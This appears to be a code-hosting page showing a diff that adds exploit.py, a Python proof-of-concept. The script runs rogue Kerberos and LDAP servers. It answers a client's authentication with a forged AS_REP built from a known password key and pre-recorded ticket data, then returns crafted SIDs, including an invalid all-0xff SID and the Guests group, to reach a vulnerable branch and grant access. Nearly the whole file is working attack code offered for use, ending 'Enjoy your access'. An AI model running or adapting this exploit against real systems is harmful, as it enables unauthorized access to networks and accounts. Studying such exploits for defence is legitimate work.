🤬
  • ■ ■ ■ ■ ■ ■
    exploit.py
     1 +import socket
     2 +import struct
     3 +import binascii
     4 + 
     5 +from ldap3.protocol.rfc4511 import SearchResultReference
     6 +from pyasn1.codec.der import decoder, encoder
     7 +from pyasn1.codec.ber.encoder import encode
     8 +from pyasn1.type.univ import noValue
     9 +from datetime import datetime, timedelta
     10 + 
     11 +from impacket.krb5 import constants
     12 +from impacket.krb5.crypto import (Key, Enctype, encrypt, _AES256CTS)
     13 +from impacket.krb5.asn1 import AS_REQ, AS_REP, ETYPE_INFO2, EncASRepPart
     14 + 
     15 +from ldap3.protocol.rfc4511 import (
     16 + LDAPMessage, MessageID, ProtocolOp, BindResponse, ResultCode, SearchResultDone,
     17 + SearchResultEntry, LDAPDN, PartialAttributeList, PartialAttribute,
     18 + AttributeDescription, Vals, AttributeValue
     19 +)
     20 + 
     21 +listen_ip = "0.0.0.0"
     22 + 
     23 +with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as s:
     24 + # Bind the socket to the port
     25 + server_address = (listen_ip, 88)
     26 + s.bind(server_address)
     27 + 
     28 + while True:
     29 + print("\n[+] Waiting for incoming Kerberos UDP Request")
     30 + data, address = s.recvfrom(4096)
     31 + print("[+] Received connection from {}".format(address))
     32 + 
     33 + if data:
     34 + # Refuse UDP connection with a KRB4KRB_ERR_RESPONSE_TOO_BIG
     35 + # Details of the response don't really matter such as the domain name
     36 + payload1 = bytes.fromhex("7e583056a003020105a10302011ea411180f32303232303631303134353030375aa50502030a6c5fa603020134a90b1b095243452e4c4f43414caa1e301ca003020102a11530131b066b72627467741b095243452e4c4f43414c")
     37 + sent = s.sendto(payload1, address)
     38 + break
     39 + 
     40 + s.close()
     41 + 
     42 +print("[+] Answered Kerberos UDP Authentication Request")
     43 + 
     44 +# Let's open up port 88 for Kerberos v5 interactions
     45 +with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
     46 + print("[+] Waiting for incoming Kerberos TCP Request")
     47 + s.bind((listen_ip, 88))
     48 + s.listen()
     49 + conn, address = s.accept()
     50 + with conn:
     51 + print("[+] Received Kerberos connection from {}".format(address))
     52 + while True:
     53 + recvDataLen = struct.unpack('!i', conn.recv(4))[0]
     54 + r = conn.recv(recvDataLen)
     55 + while len(r) < recvDataLen:
     56 + r += conn.recv(recvDataLen - len(r))
     57 + 
     58 + # Let's first parse the AS_REQ
     59 + asReq = decoder.decode(r, asn1Spec=AS_REQ())[0]
     60 + 
     61 + # Let's get a couple of things from the initial request required to build further responses
     62 + nonce = asReq['req-body']['nonce']
     63 + realm = str(asReq['req-body']['realm'])
     64 + username = str(asReq['req-body']['cname']['name-string'][0])
     65 + 
     66 + # Do some crypto stuff
     67 + # salt is composed of the realm concatenated with the username
     68 + salt = realm + username
     69 + aesKey = _AES256CTS.string_to_key("Password0", salt, params=None).contents
     70 + key = Key(Enctype.AES256, aesKey)
     71 + 
     72 + # Some pre-recoded AS_REP message (encrypted part only)
     73 + plainText = binascii.unhexlify("7981da3081d7a02b3029a003020112a12204202deb4c8d3c541791c23080abf14d896bc27609e24f80a15911d0720ec83d5237a11c301a3018a003020100a111180f32303232303631383133323432315aa20602040c3c5eb6a311180f32303337303931343032343830355aa40703050000610000a511180f32303232303631383133323432315aa611180f32303232303631383133323432315aa711180f32303232303631383233323432315aa90c1b0a4841434b2e4c4f43414caa1f301da003020102a11630141b066b72627467741b0a4841434b2e4c4f43414c")
     74 + 
     75 + # Use some random confounder
     76 + confounder = binascii.unhexlify("13371337133713371337133713371337") # first 16 bytes of an AS_REP message
     77 + 
     78 + encASRepPart = decoder.decode(plainText, asn1Spec=EncASRepPart())[0]
     79 + 
     80 + # Modify nonce to match the client's nonce
     81 + encASRepPart['nonce'] = int(nonce)
     82 + 
     83 + # Change timestamps to not screw any clock diffs
     84 + my_date = datetime.now()
     85 + current_timestamp = my_date.strftime('%Y%m%d%H%M%SZ')
     86 + encASRepPart['authtime'] = current_timestamp
     87 + encASRepPart['last-req'][0]['lr-value'] = current_timestamp
     88 + 
     89 + # this is to make sure no clock scew occurs, because if starttime isn't present, the KDC's time is taken
     90 + # see RFC4120 3.1.3 at https://datatracker.ietf.org/doc/html/rfc4120#page-48
     91 + encASRepPart['starttime'] = noValue
     92 + 
     93 + # Endtime + 10 hours
     94 + newEndTime = datetime.now() + timedelta(hours=10)
     95 + encASRepPart['endtime'] = newEndTime.strftime('%Y%m%d%H%M%SZ')
     96 + 
     97 + # Modify realms
     98 + encASRepPart['srealm'] = realm
     99 + encASRepPart['sname']['name-string'][1] = realm
     100 + 
     101 + # encrypt again
     102 + final = encrypt(key, 3, encoder.encode(encASRepPart), confounder)
     103 + 
     104 + # Construct an AS_REP
     105 + asRep = AS_REP()
     106 + asRep['pvno'] = 5
     107 + asRep['msg-type'] = int(constants.ApplicationTagNumbers.AS_REP.value)
     108 + 
     109 + asRep['padata'] = noValue
     110 + asRep['padata'][0] = noValue
     111 + asRep['padata'][0]['padata-type'] = constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value
     112 + 
     113 + etype2 = ETYPE_INFO2()
     114 + etype2[0] = noValue
     115 + etype2[0]['etype'] = constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value
     116 + etype2[0]['salt'] = salt
     117 + encodedEtype2 = encoder.encode(etype2)
     118 + asRep['padata'][0]['padata-value'] = encodedEtype2
     119 + 
     120 + asRep['crealm'] = realm
     121 + 
     122 + asRep['cname'] = noValue
     123 + asRep['cname']['name-type'] = constants.PrincipalNameType.NT_PRINCIPAL.value
     124 + asRep['cname']['name-string'] = noValue
     125 + asRep['cname']['name-string'][0] = username
     126 + 
     127 + asRep['ticket'] = noValue
     128 + asRep['ticket']['tkt-vno'] = constants.ProtocolVersionNumber.pvno.value
     129 + asRep['ticket']['realm'] = realm
     130 + asRep['ticket']['sname'] = noValue
     131 + asRep['ticket']['sname']['name-string'] = noValue
     132 + asRep['ticket']['sname']['name-string'][0] = "krbtgt"
     133 + asRep['ticket']['sname']['name-type'] = constants.PrincipalNameType.NT_SRV_INST.value
     134 + asRep['ticket']['sname']['name-string'][1] = realm
     135 + 
     136 + asRep['ticket']['enc-part'] = noValue
     137 + asRep['ticket']['enc-part']['kvno'] = 2
     138 + asRep['ticket']['enc-part']['etype'] = constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value
     139 + # Using a pre-encrypted ticket here. The ticket itself doesn't matter since it's not used
     140 + asRep['ticket']['enc-part']['cipher'] = binascii.unhexlify("3dbe1e264dc1c7c3c4fc619efbfb49ee8c10b76d6c312d10aab3d7e6b00ccbaa9d3b9ed706d79d9124920b36b07e67dbe709806a24b9edc12ed40f5cd835c14369763468008863ba7af2d94196de1e89d06bb58bad7dab97cc7a107818983546e9c0d9c115722f38207ad8ea94afdebc9b42326f2fd14a9b629f970617d9ac15009fcabd99c89471eb91fc8b07efadbcc6fb0d6af813ca452481d5ee6c530a0a54bdeacd96f2913adcbca80ab62396ce8f8734bf18c582035ac614257c41fec115989d73e8ef5587b1cadcb184694dd3c3cee1cb8d0e0b8019f9444f0de31bf4c2acbaecd4935ddb40cbe9ad34376289e4a82757f013f9686165e7b02846f162bae705ca02429068dd5b2f450e36a94b27f7cd30c36537fbbedaea6ee00431b7c8fbdda5cdf943790e9b82c59c95b95f9de7d6639bdba0c3dadf3b3bd4a207386bb9cfa06e539656d57796a8e28ddecca94af04348e3edb1833721c17fe4040ab4975a41a1a40ae67e87d00740c417cd7d915e2185c66861e32648489227b9e344c27c3290d67c9c8cb507646c77ef0fdbc7d527802b11b693b6cd12f393d5c9737ed1dead9fa769994b7c0c753d17f676b767334e898f52f496e6f4f46f57592d291f3425e5bb12fa02b352989dacc3746d1ef1690bb6c8b61cefb5560bdcf956af1b975c838df6d65118aa7306e39f3076780b4b450cf88b39e75fb13fa325e82cede2e9bab8eba0e0a5da73806eb174c85001240b2df27c5f732ca17943b6be6153e1c871ddd3c0fab49bca9d1218e5014a70c73399817efe7016df206ad42643e478656a700709f654f161366057c2fcdc61030b3c6ff562e5b702224d3720153b32f92c1c86f6500df17f5cce3b7d762a31fea8cc0ffb80062c36f46be5d0905c170ebf46d78cc7dc0644ca72ed01f8b561980de786441b595941fe5b3fde09b7945780d5fbf175bdd7512708af481dc1bac50d845b869b5afaf71de31efd0856df5b1283511537057618fd6251cacd8796723c4a7456fd180c04c2e87cc74e073e6e9992936e98aec4216e6a2da5423204f3a4c9853b0ce7d10847d898b5ba7c6a2c0a38f545da25410c9e94bb63d992850ef54733056ceec9e3a7256a935df1aee76000e0e388826c48c769c21f1767ffa468438a76d91c8ad152368a91c07512b6b4b0f6dfafbdeb3e2e15d3ea6e1aa9f5cfab0b0299bc100e38f1e40c8b3e0c993303a728ec4e21467492e56b64e489a2da387a80c432d04a58d05c27609a9ce085935417f3b219fc9bffc47433611ee50502911467ea843eef815c3f2593c12fd126228bcb0d57c7220f7e70719ab011f5b650f91540984d9c78dbf72852e836d833c5cc7b265311b593cf1d5b6c523829e74b3f939c291b7ceff9231e2cb39f035e3d44dfc720510b3bffdf12fb9090b03acdaa9f04295dc62d3d110e92461fcf66a0aa36543f2cc38114de298e3b6d9c40d283677a6cf2246860a931")
     141 + 
     142 + asRep['enc-part'] = noValue
     143 + asRep['enc-part']['etype'] = constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value
     144 + asRep['enc-part']['kvno'] = 2
     145 + asRep['enc-part']['cipher'] = final
     146 + 
     147 + encodedASREP = encoder.encode(asRep, asn1Spec=AS_REP())
     148 + 
     149 + # We need to prepend the packet with its length
     150 + lenOfASREP = struct.pack('>I', len(encodedASREP))
     151 + 
     152 + final_payload = lenOfASREP + encodedASREP
     153 + 
     154 + conn.send(final_payload)
     155 + print("[+] Kerberos AS_REP sent!")
     156 + 
     157 + s.close()
     158 + break
     159 + 
     160 + 
     161 +def SearchResultDone_request(messageID):
     162 + srd = SearchResultDone()
     163 + srd['resultCode'] = ResultCode('success')
     164 + srd['matchedDN'] = ''
     165 + srd['diagnosticMessage'] = ''
     166 + msg = LDAPMessage()
     167 + msg['messageID'] = MessageID(messageID)
     168 + msg['protocolOp'] = ProtocolOp().setComponentByName('searchResDone', srd)
     169 + return srd
     170 + 
     171 + 
     172 +with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
     173 + s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
     174 + s.bind((listen_ip, 389))
     175 + s.listen()
     176 + conn, address = s.accept()
     177 + 
     178 + with conn:
     179 + print("[+] Received LDAP connection from {}".format(address))
     180 + while True:
     181 + r = conn.recv(2048)
     182 + 
     183 + # First get the messageId
     184 + ldap_resp, _ = decoder.decode(r, asn1Spec=LDAPMessage())
     185 + messageID = ldap_resp['messageID']
     186 + 
     187 + if messageID == 1:
     188 + print("[+] Sending successful bindResponse")
     189 + res = BindResponse()
     190 + res['resultCode'] = ResultCode('success')
     191 + res['matchedDN'] = ''
     192 + res['diagnosticMessage'] = ''
     193 + 
     194 + msg = LDAPMessage()
     195 + msg['messageID'] = MessageID(messageID)
     196 + msg['protocolOp'] = ProtocolOp().setComponentByName('bindResponse', res)
     197 + data = encode(msg)
     198 + conn.send(data)
     199 + 
     200 + elif messageID == 2:
     201 + print("[+] Sending searchResEntry results #1 to return invalid user SID to reach the vulnerable code branch")
     202 + res = SearchResultEntry()
     203 + res['object'] = LDAPDN('CN=mrtuxracer,CN=Users,DC=hack,DC=local')
     204 + 
     205 + res['attributes'] = PartialAttributeList()
     206 + res['attributes'][0] = PartialAttribute()
     207 + res['attributes'][0]['type'] = AttributeDescription('objectSid')
     208 + res['attributes'][0]['vals'] = Vals()
     209 + # translates to SID S-1-5-4294967295-4294967295-4294967295-4294967295-4294967295
     210 + res['attributes'][0]['vals'][0] = AttributeValue(b'\x01\x05\x00\x00\x00\x00\x00\x05\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff')
     211 + 
     212 + msg1 = LDAPMessage()
     213 + msg1['messageID'] = MessageID(messageID)
     214 + msg1['protocolOp'] = ProtocolOp().setComponentByName('searchResEntry', res)
     215 + 
     216 + res = SearchResultReference()
     217 + res.setComponentByPosition(0, 'ldap://hack.local/CN=Configuration,DC=hack,DC=local')
     218 + msg2 = LDAPMessage()
     219 + msg2['messageID'] = MessageID(messageID)
     220 + msg2['protocolOp'] = ProtocolOp().setComponentByName('searchResRef', res)
     221 + 
     222 + # Let's put the LDAPMessages together
     223 + data = encode(msg1) + encode(msg2) + encode(SearchResultDone_request(messageID))
     224 + conn.send(data)
     225 + elif messageID == 3:
     226 + print("[+] Sending searchResEntry results #2 returning a dummy user record")
     227 + res = SearchResultEntry()
     228 + res['object'] = LDAPDN('CN=mrtuxracer,CN=Users,DC=hack,DC=local')
     229 + 
     230 + res['attributes'] = PartialAttributeList()
     231 + res['attributes'][0] = PartialAttribute()
     232 + res['attributes'][0]['type'] = AttributeDescription('distinguishedName')
     233 + res['attributes'][0]['vals'] = Vals()
     234 + res['attributes'][0]['vals'][0] = AttributeValue('CN=mrtuxracer,CN=Users,DC=hack,DC=local')
     235 + msg1 = LDAPMessage()
     236 + msg1['messageID'] = MessageID(messageID)
     237 + msg1['protocolOp'] = ProtocolOp().setComponentByName('searchResEntry', res)
     238 + 
     239 + # Let's put the LDAPMessages together
     240 + data = encode(msg1) + encode(SearchResultDone_request(messageID))
     241 + conn.send(data)
     242 + elif messageID == 4:
     243 + print("[+] Sending searchResEntry results #3 exploiting the well-known 'Guests' SID")
     244 + # Returns SIDs S-1-5-32-546 (Guests), S-1-5-32-545 (Users) and a random SID for Domain Users
     245 + res = SearchResultEntry()
     246 + res['object'] = LDAPDN('CN=mrtuxracer,CN=Users,DC=hack,DC=local')
     247 + 
     248 + res['attributes'] = PartialAttributeList()
     249 + res['attributes'][0] = PartialAttribute()
     250 + res['attributes'][0]['type'] = AttributeDescription('tokenGroups')
     251 + res['attributes'][0]['vals'] = Vals()
     252 + res['attributes'][0]['vals'][0] = AttributeValue(
     253 + b'\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00\x22\x02\x00\x00') # S-1-5-32-546 (Guests)
     254 + res['attributes'][0]['vals'][1] = AttributeValue(
     255 + b'\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00\x20\x02\x00\x00') # S-1-5-32-545 (Users)
     256 + res['attributes'][0]['vals'][2] = AttributeValue(
     257 + b'\x01\x05\x00\x00\x00\x00\x00\x05\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff') # random sid
     258 + msg1 = LDAPMessage()
     259 + msg1['messageID'] = MessageID(messageID)
     260 + msg1['protocolOp'] = ProtocolOp().setComponentByName('searchResEntry', res)
     261 + 
     262 + # Let's put the LDAPMessages together
     263 + data = encode(msg1) + encode(SearchResultDone_request(messageID))
     264 + conn.send(data)
     265 + 
     266 + print("[+] Exploit done. Enjoy your access :-)")
     267 + s.close()
     268 + exit(0)
Please wait...
Page is in error, reload to recover